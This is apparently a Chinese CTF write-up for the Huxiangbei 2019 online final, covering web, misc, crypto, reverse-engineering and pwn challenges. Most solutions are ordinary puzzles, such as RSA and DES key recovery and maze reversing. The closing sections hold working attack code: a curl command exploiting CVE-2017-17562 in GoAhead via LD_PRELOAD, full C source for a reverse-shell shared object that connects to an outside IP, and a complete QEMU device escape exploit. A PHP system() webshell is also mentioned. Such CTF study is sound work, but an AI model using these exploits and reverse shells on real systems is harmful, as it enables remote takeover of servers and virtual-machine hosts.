湖湘杯2019线上复赛

WEB

untar

本题是基于HITCON CTF 2017 的 BabyFirst Revenge 修改而来。

管道被堵死了,只能利用untar,问题不大,直接构造一个tar里面

<?php echo system(/readflag); 上传。

但是这道题目有一个非预期解,就是运维运维在配置的时候,/sanbox目录遍历,导致可以通过别人上传的马中直接读flag。

thinkphp?

很简单的ThinkPHP 5.x命令执行漏洞。

MISC

something in image

直接用编辑器打开搜索关键字flag即可得到flag

MISC1

EzMemory

下载出来解压得到mem.raw

执行 strings mem.raw>test

在test文件中搜索flag{关键字得到flag

MISC2

elf just elf?

压缩包是有密码的,zip爆破得123456,成功解压。查看压缩包的注释,发现是 web 端常用的 Quoted-printable 编码,将 “%”替换为“=”,解码为“注意:这不是逆向,压缩包中密文解密密码已被我隐藏。

1.png

2.png

题目为 ELF,而 ELF 可执行文件,将 flag 文件放到 linux 中 file 一下,发现是 32 位的 ELF 文件

3.png

可以在 32 位 ELF 文件中隐藏信息的有 hydan,尝试使用 hydan 还原 flag 文件中隐藏的信息为“8*&#b”,密码是 123456

4.png

enc.txt 中的文本有点像 AES 的密文,而注释提示说解开这段密文的密码被隐藏起来了,所以尝试使用密码“8*&#b”解开这段密文

5.png

将解出后的明文进行 XXencode 解码

7.png

最后再栅栏解密即可得到 flag

7.png

CRYPTO

give me your passport

根据题目意思,判断输入是否为Admin,才会输出flag。我们给name赋值为Admin,并把后面随机生成数注释掉,运行server.py 得到一串字符串,使用nc链接服务器,并输入字符串得到flag。

1

2

RSA

很简单的RSA题目,直接根据题目要求套脚本进去跑就行了。

import gmpy2
import binascii
e = 65537
n = 22000596569856085362623019573995240143720890380678581299411213688857584612953014122879995808816872221032805734151343458921719334360194024890377075521680399678533655114261000716106870610083356478621445541840124447459943322577740268407217950081217130055057926816065068275999620502766866379465521042298370686053823448099778572878765782711260673185703889168702746195779250373642505375725925213796848495518878490786035363094086520257020021547827073768598600151928787434153003675096254792245014217044607440890694190989162318846104385311646123343795149489946251221774030484424581846841141819601874562109228016707364220840611
dp = 84373069210173690047629226878686144017052129353931011112880892379361035492516066159394115482289291025932915787077633999791002846189004408043685986856359812230222233165493645074459765748901898518115384084258143483508823079115319711227124403284267559950883054402576935436305927705016459382628196407373896831725
c = 14874271064669918581178066047207495551570421575260298116038863877424499500626920855863261194264169850678206604144314318171829367575688726593323863145664241189167820996601561389159819873734368810449011761054668595565217970516125181240869998009561140277444653698278073509852288720276008438965069627886972839146199102497874818473454932012374251932864118784065064885987416408142362577322906063320726241313252172382519793691513360909796645028353257317044086708114163313328952830378067342164675055195428728335222242094290731292113709866489975077052604333805889421889967835433026770417624703011718120347415460385182429795735

for i in range(1,65538):
    if (dp*e-1)%i == 0:
        if n%(((dp*e-1)//i)+1)==0:
            p=((dp*e-1)//i)+1
            q=n//(((dp*e-1)//i)+1)
            phi = (p-1)*(q-1)
            d = gmpy2.invert(e,phi)%phi
            m = gmpy2.powmod(c,d,n)
            print hex(m)

DES

经典的DES解密题目,没有给出秘钥,但给出了kn,我们可以由kn推出秘钥,具体过程参考这篇文章

https://skysec.top/2018/10/29/Symmetric-block-ciphers-Summary-DES-AES/

用kn反推出来key是AnHengDB

# -*- coding: utf-8 -*-
import itertools
Kn = [
            [1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0],
            [1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0],
            [0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0],
            [1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1],
            [0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1],
            [0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0],
            [0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0],
            [0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0],
            [0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0],
            [0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0],
            [0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1],
            [0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0],
            [1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0],
            [1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1],
            [1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1],
            [1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1]
        ]
def get_list(k_list):
    pc1 = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18,
               10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36,
               63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22,
               14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4]
    pc2 = [13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9, 22,18,11, 3,25, 7,15, 6,26,19,12, 1, 40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47, 43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31]
    k2 = [6] * 56
    for j in range(48):
        k2[pc2[j]] = k_list[j]
    k3 = k2[27:28] + k2[0:27] + k2[55:56] + k2[28:55]
    k4 = [6] * 64
    for j in range(56):
        k4[pc1[j] - 1] = k3[j]
    return k4

k1 = get_list(Kn[0])

count = 0
for i in range(len(k1)):
    if k1[i]==6:
        count +=1

replace_arr = []
for i in itertools.product('01', repeat = count):
    replace_arr.append(''.join(i))

for i in range(len(replace_arr)):
    tmp_list = []
    index = 0
    key = ""
    for j in range(len(k1)):
        if k1[j] == 6:
            tmp_list.append(int(replace_arr[i][index]))
            index +=1
        else:
            tmp_list.append(k1[j])
        if j%8 == 0 and j!=0:
            num_list = tmp_list[j-8:j]
            tmp = 0
            for k in range(len(num_list)):
                tmp += num_list[k] * pow(2, 7 - k)
            key += chr(tmp)
    num_list = tmp_list[len(k1) - 8:len(k1)]
    tmp = 0
    for k in range(len(num_list)):
        tmp += num_list[k] * pow(2, 7 - k)
    key += chr(tmp)
    print key

根据提示flag为mes+deskey

import pyDes
import base64
deskey = "AnHengDB"
DES = pyDes.des(deskey)
cipher = "gAN5RT1XWKI0OyUayZj35SlKQ+if2PAJ"
cipher = base64.b64decode(cipher)
flag = DES.decrypt(cipher)+deskey
print flag

所以flag为4313e6e91be766c48725e5bdAnHengDB

RE

argument

下载文件,发现存在upx壳

0.png

使用软件脱壳

ida搜索flag,找到关键函数

2.jpg

进一步分析,找到生成flag的关键函数

3.jpg

4.jpg

得到flag

5.jpg

EzRE

下载文件,拖进ida,搜索flag,发现关键函数,分析可知是走迷宫

1.jpg

读取输入

do
  {
    sub_140001080((__int64)"%d", v6);
    --dword_140005034;
    ++v6;
    --v7;
  }
  while ( v7 );

移动部分

do
  {
    switch ( v21[v9] )
    {
      case 1:
        --v1;
        v12 -= 7i64;
        --v11;
        break;
      case 2:
        ++v1;
        v12 += 7i64;
        ++v11;
        break;
      case 3:
        --v2;
        --v8;
        --v10;
        break;
      default:
        if ( v21[v9] != 4 )
          exit(0);
        ++v2;
        ++v8;
        ++v10;
        break;
    }
    if ( *(_DWORD *)&asc_140003350[4 * (v12 + v8)] == 1 )
    {
      sub_140001020("You lost", v10, v11);
      exit(0);
    }
    if ( v11 > 6 || v10 > 6 )
    {
      puts("illegal access");
      exit(0);
    }
    ++v9;
  }
  while ( v9 < 26 );

地图

2.jpg

迷宫为7x7,1是墙,8是起点,63是终点

人工走迷宫,得到exp

3.jpg

输入到程序得flag

4.jpg

ICEKEY

下载文件,拖进ilspy,分析为c++/cli程序,搜索找到main()函数,思路为输入一个flag,进行icekey处理,与加密过后的字符串进行对比

1.jpg

加密的flag

string b = "3ACF8D62AAA0B630C4AF43AF327CE129D46F0FEB98D9040F713BE65502A5107A";

icekey的key计算部分,求字符串"iriszero"的MD5

MD5CryptoServiceProvider mD5CryptoServiceProvider = new MD5CryptoServiceProvider();
MD5CryptoServiceProvider mD5CryptoServiceProvider2 = default(MD5CryptoServiceProvider);
try
{
mD5CryptoServiceProvider2 = mD5CryptoServiceProvider;
    ref reference = ref Encoding.ASCII.GetBytes(BitConverter.ToString(mD5CryptoServiceProvider.ComputeHash(Encoding.ASCII.GetBytes("iriszero"))).Replace("-", "").ToLower())[0];
}

icekey加密部分

if (0 < num)
{
    long num2 = 0L;
    uint num3 = ((uint)(num - 1) >> 3) + 1;
    do
    {
        IceKey.Encrypt(&iceKey, (byte*)((long)ptr + num2), (byte*)((long)ptr2 + n);
        num2 += 8;
        num3 = (uint)((int)num3 + -1);
    }
    while (num3 != 0);
}

写出解密脚本,得到flag

2.jpg

PWN

hacknote

下载文件,拖进ida,搜索Welcome to Hacker's Note,找到关键函数

1.jpg

保护全关

[*] '/mnt/z/1911085dc510fb21074/HackNote'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

经分析是house of spirit加fastbin attack的题目

得到exp

0.jpg

NameSystem

下载文件,拖进ida,找到main函数
1.jpg
程序开了部分保护

[*] '/mnt/z/1911085dc51105b6499/NameSystem'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

分析得到是double free + 格式化字符串
得到exp

2.jpg

创新题

大数据安全

在注释中发现/cgi-bin/index,访问之后发现GoAhead/3.6.4
查询版本发现是个老版本,可以使用CVE-2017-17562
CVE-2017-17562使用环境变量覆盖,覆盖了LD_PRELOAD,覆盖成了/proc/self/fd/0
在cgi中/proc/self/fd/0指向输入,即POST的数据,因此可以使用POST来覆盖LD_PRELOAD,加载自己的so

修改exp.so中的ip地址,如此编译即可gcc -shared -fPIC ./exp.c -o exp.so

curl -X POST --data-binary @exp.so "http://118.89.166.125:15001/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i

#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>

char *server_ip="118.89.166.125";
uint32_t server_port=15001;

static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{

    //socket initialize
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in attacker_addr = {0};
    attacker_addr.sin_family = AF_INET;
    attacker_addr.sin_port = htons(server_port);
    attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
  //connect to the server
    if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
        exit(0);
  //dup the socket to stdin, stdout and stderr
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
  //execute /bin/sh to get a shell
    execve("/bin/sh", 0, 0);
}

strng2

这道题很可惜,比赛时本地复现成功,远程就是打不上。

根据题目的虚拟机配置信息,社工找到了题目作者的github地址。

里面有现成的exp,这道题应该是基于暴雪CTF改的qume逃逸。

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>

#define MAP_SIZE 4096UL
#define MAP_MASK (MAP_SIZE - 1)

unsigned int pmio_base = 0xc050;  // adjust this if different on qemu reset
char* pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";

/*
  oot@ubuntu:/home/ubuntu# cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource
  0x00000000febf1000 0x00000000febf10ff 0x0000000000040200  // mmio
  0x000000000000c050 0x000000000000c057 0x0000000000040101  // pmio
  0x0000000000000000 0x0000000000000000 0x0000000000000000
*/

void pmio_write(unsigned int val, unsigned int addr) {
  outl(val, addr);
}

void pmio_arb_write(unsigned int val, unsigned int offset) {
  int tmp = offset >> 2;
  if ( tmp == 1 || tmp == 3) {
    puts("PMIO write address is a command");
    return;
  }
  pmio_write(offset, pmio_base);
  pmio_write(val, pmio_base + 4);
}

unsigned int pmio_read(unsigned int offset) {
  if (offset == 0) {
    return inl(pmio_base);
  }
  pmio_write(offset, pmio_base);
  return inl(pmio_base + 4);
}

void mmio_write(unsigned int val, unsigned int offset) {
  int fd;
  void *map_base, *virt_addr;
  if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {
    perror("open pci device");
    exit(-1);
  }
  map_base = mmap(0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
  if(map_base == (void *) -1) {
    perror("mmap");
    exit(-1);
  }
  virt_addr = map_base + (offset & MAP_MASK);
  *((unsigned int*) virt_addr) = val;
  if(munmap(map_base, MAP_SIZE) == -1) {
    perror("munmap");
    exit(-1);
  }
    close(fd);
}

int main(int argc, char* argv[])
{
  if (0 != iopl(3)) {
    perror("iopl permissions");
    return -1;
  }

  /*
    >>> map(hex, unpack_many("cat /root/flag; "))
  ['0x20746163', '0x6f6f722f', '0x6c662f74', '0x203b6761']
  */  
  unsigned long bin_addr;
  unsigned long sys_addr;
  unsigned long bin_base;
  unsigned long heap_addr;
  unsigned long cmd_addr;

  bin_addr = pmio_read(0x114);
  bin_addr <<= 32;
  bin_addr |= pmio_read(0x110);
  bin_addr = bin_addr - 0x29AC8E;
  sys_addr = bin_addr + 0x200D50;

  heap_addr = pmio_read(0x11c);
  heap_addr <<= 32;
  heap_addr |= pmio_read(0x118);
  cmd_addr = heap_addr + 0xaf0 + 0x18;

  printf("bin_addr: 0x%lx\n", bin_addr);
  printf("sys_addr: 0x%lx\n", sys_addr);
  printf("heap_addr: 0x%lx\n", heap_addr);

  pmio_arb_write(sys_addr & 0xffffffff, 0x110);
  pmio_arb_write(cmd_addr & 0xffffffff, 0x118);

  //cat ./flag
  pmio_arb_write(0x20746163, 0x10);
  pmio_arb_write(0x6c662f2e, 0x14);
  pmio_arb_write(0x203b6761, 0x18);

  //make strng->flag = 1
  mmio_write(0x41414141, 0x30);
  //trigger timer function
  pmio_arb_write(0x41414141, 0x40);

  return 0;
}